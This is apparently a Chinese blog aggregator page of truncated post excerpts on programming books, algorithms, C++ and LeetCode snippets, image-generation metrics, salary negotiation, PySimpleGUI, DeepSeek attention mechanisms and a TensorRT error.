书里反复强调,程序员不能把学习停留在 “够用就好” 的层面,因为技术行业的迭代速度太快了 —— 今天课堂上教的热门框架,可能几年后就会被更高效的工具替代;现在觉得 “用不上” 的底层原理,说不定哪天就成了解决…

算法分析--分治--1.二分搜索

难题被逐层拆解,每一次的拆解都使它变得更为简单。分而治之揭示了一个重要的事实:从简单做起,一切都不再复杂。 1.1 分治算法 分治 是一种非常常见的算法策略。 分:将整个问题划分为多个小问题。 治:从小问题开始…

衡量模型生成图片质量的指标

FID 是生成图像和真实图像在特征空间中的分布距离。(越小越好)1.FID 假设生成图像和真实图像在特征空间的分布都是高斯分布,然后计算这两个高斯分布的距离。 CLIP是什么?(对比语言图像预训练)它有image Encoder …

代码大全2 第一章 与第二章

看《代码大全 2》前两章,感觉像被人点醒了似的,之前对编程的理解太浅了。第一章直接说透,软件构建根本不是光敲代码就行,它跟前期琢磨需求、设计框架,还有后期测试都绑在一起,做得好不好直接影响软件能不能用久、…

面试谈薪资指南:掌握主动权的关键策略

前言 作为前大厂的技术总监,我见到过非常多的谈薪资表现,90%以上都不合格。有的漫天要价,有的临时变卦,有的丧失主动权,被牵着鼻子走,甚至还有反问HR"这个岗位的薪资预算是多少",企图打听出来企业最高…

CF2018B

CF2018B Speedbreaker 被*1900狠狠杀掉了麻麻,S组即将来临我真的没救了。。。。 考虑无解的情况,对于每一个时间 \(t\),找到能够包含所有 \(a_i\) 满足 \(a_i\leq t\) 的区间 \([l_t,r_t]\),意思就是在 \(t\) 的时…

10/27

太难了,要搭建一个真正的项目了,昨天英语作业系统故障没交上,下次交早点

第7天(中等题 滑动窗口)

打卡第七天 2道中等题class Solution { public:int equalSubstring(string s, string t, int maxCost) {int n = s.length();vector<int> diff(n, 0);//创建数组存储s和t对应位置字符的ASCII码差值for (int i = …

C++ 获取 const char* 字符串长度

C++ 获取 const char* 字符串长度C++ 获取 const char* 字符串长度 获取字符串长度的方法有哪些。 strlen strlen.c 源码如下 size_t strlen(const char *str) {const char *s;for (s = str; *s; ++s);return (s - str…

20251027——读后感2

面对多变的需求,可先做可丢弃的原型。比如要开发一个新的电商APP,先快速做个包含核心功能的简易原型,让用户试用后反馈,再基于此开发正式系统,避免在错误需求上浪费时间,就像盖房子先搭个简易框架看结构是否合理…

window[-INPUT-] 还有哪些属性或方法

在PySimpleGUI中,除了.update()方法外,window["-INPUT-"]等元素对象还支持以下属性和方法,按功能分类整理如下: 核心方法.get()功能:获取元素的当前值(如输入框内容、下拉菜单选中项等)。 示例:inpu…

DeepSeek-DSA讲解

1. MQA: Multi-Query Attention 多查询注意力机制 (MQA) 是 Transformer 中使用的传统多头自注意力机制(MHA)的一种变体。在传统的多头注意力机制中,每个注意力头都使用自己的一组查询、键和值,这可能需要大量计算,…

【转载】‘tensorrt.tensorrt.Builder‘ object has no attribute ‘build_cuda_engine‘

【转载】‘tensorrt.tensorrt.Builder‘ object has no attribute ‘build_cuda_engine‘问题简述: AttributeError: tensorrt.tensorrt.Builder object has no attribute build_cuda_engine 原因: tensorrt版本大于…